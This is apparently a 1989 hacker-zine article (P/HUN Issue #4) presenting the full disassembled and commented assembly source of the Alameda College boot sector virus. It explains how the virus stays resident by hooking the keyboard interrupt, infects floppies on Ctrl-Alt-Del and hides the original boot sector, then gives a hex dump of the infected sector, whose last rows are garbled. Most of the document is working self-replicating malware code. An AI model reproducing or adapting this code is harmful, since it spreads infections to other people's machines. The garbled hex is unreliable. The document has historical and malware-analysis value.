2022-08-21 09:07:57 +00:00
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P/HUN Issue #4, Volume 2: Phile 3 of 11
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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A BOOT SECTOR VIRUS
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5/15/89
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The following is a disassembled and commented version of the Alemeda
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College Boot infector virus. Courtesy of Southern Cross.
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;-----------------------------------------------------------------------;
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; This virus is of the "FLOPPY ONLY" variety. ;
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; It replicates to the boot sector of a floppy disk and when it gains control
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; it will move itself to upper memory. It redirects the keyboard ;
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; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ;
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; it will attempt to infect any floppy it finds in drive A:. ;
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; It keeps the real boot sector at track 39, sector 8, head 0 ;
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; It does not map this sector bad in the fat (unlike the Pakistani Brain)
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; and should that area be used by a file, the virus ;
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; will die. It also contains no anti detection mechanisms as does the ;
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; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ;
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; sector 9 because this is common to all floppy formats both single ;
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; sided and double sided. It does not contain any malevolent TROJAN ;
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; HORSE code. It does appear to contain a count of how many times it ;
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; has infected other diskettes although this is harmless and the count ;
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; is never accessed. ;
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; ;
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; Things to note about this virus: ;
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; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
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; is its primary (only for that matter) means of reproduction to other ;
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; floppy diskettes. The only way to remove it from an infected system ;
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; is to turn the machine off and reboot an uninfected copy of DOS. ;
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; It is even resident when no floppy is booted but BASIC is loaded ;
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; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ;
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; it activates and infectes the floppy from which the user is ;
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; attempting to boot. ;
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; ;
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; Also note that because of the POP CS command to pass control to ;
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; its self in upper memory, this virus does not to work on 80286 ;
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; machines (because this is not a valid 80286 instruction). ;
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; ;
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; The Norton Utilities can be used to identify infected diskettes by ;
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; looking at the boot sector and the DOS SYS utility can be used to ;
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; remove it (unlike the Pakistani Brain). ;
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;-----------------------------------------------------------------------;
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;
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ORG 7C00H ;
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;
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TOS LABEL WORD ;TOP OF STACK
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;-----------------------------------------------------------------------;
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; 1. Find top of memory and copy ourself up there. (keeping same offset);
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; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
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; 3. Redirect int 9 (keyboard) to ourself in top of memory ;
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; 4. Jump to ourself at top of memory ;
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; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ;
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;-----------------------------------------------------------------------;
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BEGIN: CLI ;INITIALIZE STACK
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XOR AX,AX ;
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MOV SS,AX ;
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MOV SP,offset TOS ;
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STI ;
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;
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MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512)
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MOV DS,BX ;
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MOV AX,[0013H] ;
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MUL BX ;
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SUB AX,07E0H ; (7C00H+512)/16
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MOV ES,AX ;
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;
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PUSH CS ;DS = CS
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POP DS ;
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;
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CMP DI,3456H ;IF THE VIRUS IS REBOOTING...
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JNE B_10 ;
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DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1--
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;
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B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY
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MOV DI,SI ;
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MOV CX,512 ;
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CLD ;
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REP MOVSB ;
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;
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MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO
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MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE
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MOV CX,128 ;
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REP MOVSB ;
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;
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CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
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;
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PUSH ES ;ES=HI ;JUMP TO OUR HI CODE WITH
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POP CS ; CS = ES
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;
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PUSH DS ;DS=0 ;ES = DS
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POP ES ;
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;
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MOV BX,SP ;SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00
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MOV DX,CX ;CX=0 ; DRIVE A: HEAD 0
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MOV CX,2708H ; TRACK 40, SECTOR 8
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MOV AX,0201H ; READ SECTOR
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INT 13H ; (common to 8/9 sect. 1/2 sided!)
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JB $ ; HANG IF ERROR
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;
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JMP JMP_BOOT ;JMP 0000:7C00
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;
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;-----------------------------------------------------------------------;
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; SAVE THEN REDIRECT INT 9 VECTOR ;
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; ;
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; ON ENTRY: DS = 0 ;
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; ES = WHERE TO SAVE OLD_09 & (HI) ;
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; WHERE NEW_09 IS (HI) ;
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;-----------------------------------------------------------------------;
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PUT_NEW_09: ;
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DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024
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;
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MOV SI,9*4 ;COPY INT 9 VECTOR TO
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MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!)
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MOV CX,0004 ;
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;
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CLI ;
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REP MOVSB ;
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MOV Word Ptr [9*4],offset NEW_09
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MOV [(9*4)+2],ES ;
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STI ;
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;
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RET ;
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;
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;-----------------------------------------------------------------------;
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; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ;
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;-----------------------------------------------------------------------;
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ACK_KEYBD: ;
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IN AL,61H ;RESET KEYBOARD THEN CONTINUE
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MOV AH,AL ;
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OR AL,80H ;
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OUT 61H,AL ;
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XCHG AL,AH ;
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OUT 61H,AL ;
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JMP RBOOT ;
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;
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;-----------------------------------------------------------------------;
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; DATA AREA WHICH IS NOT USED IN THIS VERSION ;
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; REASON UNKNOWN ;
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;-----------------------------------------------------------------------;
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TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39
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DB 27H,0,2,2 ; (CURRENTLY NOT USED)
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DB 27H,0,3,2 ;
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DB 27H,0,4,2 ;
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DB 27H,0,5,2 ;
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DB 27H,0,6,2 ;
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DB 27H,0,7,2 ;
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DB 27H,0,8,2 ;
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;
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;A7C9A LABEL BYTE ;
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DW 00024H ;NOT USED
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DB 0ADH ;
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DB 07CH ;
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DB 0A3H ;
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DW 00026H ;
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;
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;L7CA1: ;
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POP CX ;NOT USED
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POP DI ;
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POP SI ;
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POP ES ;
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POP DS ;
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POP AX ;
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POPF ;
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JMP 1111:1111 ;
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;
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;-----------------------------------------------------------------------;
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; IF ALT & CTRL & DEL THEN ... ;
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; IF ALT & CTRL & ? THEN ... ;
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;-----------------------------------------------------------------------;
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NEW_09: PUSHF ;
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STI ;
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;
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PUSH AX ;
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PUSH BX ;
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PUSH DS ;
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;
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PUSH CS ;DS=CS
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POP DS ;
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;
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MOV BX,[ALT_CTRL] ;BX=SCAN CODE LAST TIME
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IN AL,60H ;GET SCAN CODE
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MOV AH,AL ;SAVE IN AH
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AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
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;
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CMP AL,1DH ;IS IT A [CTRL]...
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JNE N09_10 ;...JUMP IF NO
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MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
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JMP N09_30 ;
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;
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N09_10: CMP AL,38H ;IS IT AN [ALT]...
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JNE N09_20 ;...JUMP IF NO
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MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
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JMP N09_30 ;
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;
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N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)...
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JNE N09_30 ;...JUMP IF NO
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;
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CMP AL,17H ;IF [I]...
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JE N09_X0 ;...JUMP IF YES
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CMP AL,53H ;IF [DEL]...
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JE ACK_KEYBD ;...JUMP IF YES
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;
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N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME
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;
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N09_90: POP DS ;
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POP BX ;
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POP AX ;
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POPF ;
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;
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DB 0EAH ;JMP F000:E987
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OLD_09 DW ? ;
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DW 0F000H ;
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;
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N09_X0: JMP N09_X1 ;
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;
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;-----------------------------------------------------------------------;
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; ;
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;-----------------------------------------------------------------------;
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RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!?
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MOV AX,0800H ;AL=0, AH=DELAY ARG
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OUT DX,AL ;
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CALL DELAY ;
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MOV [ALT_CTRL],AX ;AX=0 ;
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;
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MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR
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INT 10H ;
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MOV AH,2 ;SET CURSOR POS 0,0
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XOR DX,DX ;
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MOV BH,DH ; PAGE 0
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INT 10H ;
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;
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MOV AH,1 ;SET CURSOR TYPE
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MOV CX,0607H ;
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INT 10H ;
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;
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MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW)
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CALL DELAY ;
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;
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CLI ;
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OUT 20H,AL ;SEND EOI TO INT CONTROLLER
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;
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MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS
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MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!)
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MOV SI,offset BEGIN - 128 ;
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MOV CX,128 ;
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CLD ;
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REP MOVSB ;
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;
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MOV DS,CX ;CX=0 ;DS=0
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;
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MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
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MOV [(19H*4)+2],CS ;
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;
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MOV AX,0040H ;DS = ROM DATA AREA
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MOV DS,AX ;
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;
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MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0
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INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
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;
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PUSH DS ;IF BIOS F000:E502 == 21E4...
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MOV AX,0F000H ;
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MOV DS,AX ;
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CMP Word Ptr [0E502H],21E4H ;
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POP DS ;
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JE R_90 ;
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INT 19H ; IF NOT...REBOOT
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;
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R_90: JMP 0F000:0E502H ;...DO IT ?!?!?!
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;
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;-----------------------------------------------------------------------;
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; REBOOT INT VECTOR ;
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;-----------------------------------------------------------------------;
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NEW_19: XOR AX,AX ;
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;
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MOV DS,AX ;DS=0
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MOV AX,[0410] ;AX=EQUIP FLAG
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TEST AL,1 ;IF FLOPPY DRIVES ...
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JNZ N19_20 ;...JUMP
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N19_10: PUSH CS ;ELSE ES=CS
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POP ES ;
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CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
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INT 18H ;LOAD BASIC
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;
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N19_20: MOV CX,0004 ;RETRY COUNT = 4
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;
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N19_22: PUSH CX ;
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MOV AH,00 ;RESET DISK
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INT 13 ;
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JB N19_81 ;
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MOV AX,0201 ;READ BOOT SECTOR
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PUSH DS ;
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POP ES ;
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MOV BX,offset BEGIN ;
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MOV CX,1 ;TRACK 0, SECTOR 1
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INT 13H ;
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N19_81: POP CX ;
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JNB N19_90 ;
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LOOP N19_22 ;
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JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC
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;
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;-----------------------------------------------------------------------;
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; Reinfection segment. ;
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;-----------------------------------------------------------------------;
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N19_90: CMP DI,3456 ;IF NOT FLAG SET...
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JNZ RE_INFECT ;...RE INFECT
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;
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JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR
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JMP 0000:7C00H ;
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;
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;-----------------------------------------------------------------------;
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; Reinfection Segment. ;
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;-----------------------------------------------------------------------;
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RE_INFECT: ;
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MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH
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MOV CX,00E6H ; OURSELF
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MOV DI,SI ;
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PUSH CS ;
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POP ES ;
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CLD ;
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REPE CMPSB ;
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JE RI_12 ;IF NOT EQUAL...
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;
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INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!)
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;
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;MAKE SURE TRACK 39, HEAD 0 FORMATTED ;
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MOV BX,offset TABLE ;FORMAT INFO
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MOV DX,0000 ;DRIVE A: HEAD 0
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MOV CH,40-1 ;TRACK 39
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MOV AH,5 ;FORMAT
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JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW !
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;
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; <<< NO EXECUTION PATH TO HERE >>> ;
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JB RI_80 ;
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;
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;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
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RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0
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MOV BX,offset BEGIN ;TRACK 40H
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MOV CL,8 ;SECTOR 8
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MOV AX,0301H ;WRITE 1 SECTOR
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INT 13H ;
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;
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PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW)
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POP ES ;
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JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE
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;
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MOV CX,0001 ;WRITE INFECTED BOOT SECTOR !
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MOV AX,0301 ;
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INT 13H ;
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JB RI_80 ; IF ERROR...JUMP TO BOOT CODE
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;
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RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"...
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INT 19H ;...FLAG AND REBOOT
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;
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RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
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DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT)
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JMP JMP_BOOT ;
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;
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;-----------------------------------------------------------------------;
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; ;
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;-----------------------------------------------------------------------;
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N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS
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;
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MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG
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MOV BX,0040H ;
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MOV DS,BX ;
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MOV [0072H],AX ; 0040:0072 = RESET FLAG
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JMP N09_90 ;
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;
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;-----------------------------------------------------------------------;
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; DELAY ;
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; ;
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; ON ENTRY AH:CX = LOOP COUNT ;
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;-----------------------------------------------------------------------;
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DELAY: SUB CX,CX ;
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D_01: LOOP $ ;
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SUB AH,1 ;
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JNZ D_01 ;
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RET ;
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;
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;-----------------------------------------------------------------------;
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; ;
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;-----------------------------------------------------------------------;
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A7DF4 DB 27H,00H,8,2
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COUNTER_1 DW 001CH
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ALT_CTRL DW 0
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A7DFC DB 27H,0,8,2
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END
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;-----------------------------------------------------------------------;
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; Hexadecimal representation. ;
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;-----------------------------------------------------------------------;
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;7C00 FA 31 C0 8E D0 BC 00 7C-FB BB 40 00 8E DB A1 13 z1@.P<.|{;@..[!.
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;7C10 00 F7 E3 2D E0 07 8E C0-0E 1F 81 FF 56 34 75 04 .wc-`..@....V4u.
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;7C20 FF 0E F8 7D 89 E6 89 F7-B9 00 02 FC F3 A4 89 CE ..x}.f.w9..|s$.N
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;7C30 BF 80 7B B9 80 00 F3 A4-E8 15 00 06 0F 1E 07 89 ?.{9..s$h.......
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;7C40 E3 89 CA B9 08 27 B8 01-02 CD 13 72 FE E9 38 01 c.J9.'8..M.r~i8.
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;7C50 FF 0E 13 04 BE 24 00 BF-E6 7C B9 04 00 FA F3 A4 ....>$.?f|9..zs$
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;7C60 C7 06 24 00 AD 7C 8C 06-26 00 FB C3 E4 61 88 C4 G.$.-|..&.{Cda.D
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;7C70 0C 80 E6 61 86 C4 E6 61-EB 73 27 00 01 02 27 00 ..fa.Dfaks'...'.
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;7C80 02 02 27 00 03 02 27 00-04 02 27 00 05 02 27 00 ..'...'...'...'.
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;7C90 06 02 27 00 07 02 27 00-08 02 24 00 AD 7C A3 26 ..'...'.$.-|#&
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;7CA0 09 5F 5E 07 1F 58 9D-EA 11 11 1 FB .Y_^..X.j.....{P
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;7CB0 53 1E 0E 1F 8B 1E FA 7D-E4 60 88 C4 25 7F 88 S.....z}d`.D%..<
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;7CC0 1D 75 04 88 E3 EB 16 3C-38 75 04 88 E7 EB 0E .u..ck.<8u..gk..
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;7CD0 FB 08 08 75 08 3C 17 74-11 3C 53 74 8F 89 1E {..u.<.t.<St...z
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;7CE0 7D 1F 5B 58 9D EA 87 E9-00 F0 E9 EB 00 BA D8 03 }.[X.j.i.pik.:X.
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;7CF0 B8 00 08 EE E8 F3 00 A3-FA 7D B0 03 CD 10 B4 02 ..nhs.#z}0.M.4.
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;7D00 31 D2 88 F7 CD 10 B4 01-B9 07 06 CD 108 20 04 1R..4.9..M.8 .
|
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;7D10 E8 D7 00 FA E6 20 8E C1-89 CF BE 80 7B B9 80 00 hW.zfA.O>.{9..
|
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;7D20 FC F3 A4 8E D9 C7 06 64-00 52 7D 8C 0E 66 00 B8 |s$.YG.R}..f.8
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;7D30 40 00 8E D8 88 26 17 00-FF 06 13 00 1E B8 00 F0 @..X.&.....8.p
|
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;7D4 8E D8 81 3E 02 E5 E4 21-1F 74 02 CD 19 EA 02 E5 .X.>.ed!.t.M.e
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;7D50 00 F0 31 C0 8E D8 A1 10-04 A8 01 75 07 0E 07 E8 .p1@.X!..(.u..
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;7D60 EE FE CD 18 B9 04 00 51-B4 00 CD 13 72 0D B8 01 n~M.9..Q4.M.r.8
|
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|
;7D70 02 1E 07 BB 00 7C B9 01-00 C3 59 73 04 E2 E7 ...;.|9..M.Ys.bg
|
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;780 EB DB 81 FF 56 34 75 05-EA 00 7C 00 00 BE 00 7C k[..V4u|..>.|
|
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;7D90 B9 E6 00 89 F7 0E 07 FC-F3 A6 74 2D 26 FF 06 F8 9f..w..|t-&..x
|
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|
;7DA0 7D BB 7A 7C BA 00 00 B5-27 B4 05 EB 02 72 1F 8E };z|:..5.k.r..
|
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|
;7DB0 C2 BB 00 7C B1 08 B8 01-03 CD 13 0E 07 72 0F B9 B;.|1.8....r.9
|
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|
;7DC0 01 00 B8 01 03 CD 13 72-05 BF 56 34 CD 19 E8 7F ..8..M.rV4M.h.
|
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|
;7DD0 FE 26 FF 0E F8 7D EB B0-89 1E FA 7D A1 F8 7D BB ~&..x}k0}!x};
|
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|
;7DE0 40 00 8E DB A3 72 0E9-F7 FE 29 C9 E2 FE 80 EC @..[#r.iwIb~.l
|
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;7DF0 01 75 F9 C3 27 00 08 02-1C 00 00 00 27 00 08 02 .uyC'.....'...
|
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|
;---------------------------------------------------------------------;
|
2021-01-12 23:38:47 +00:00
|
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|
|
End of commented code for the Alameda College Boot Infector Virus.
|
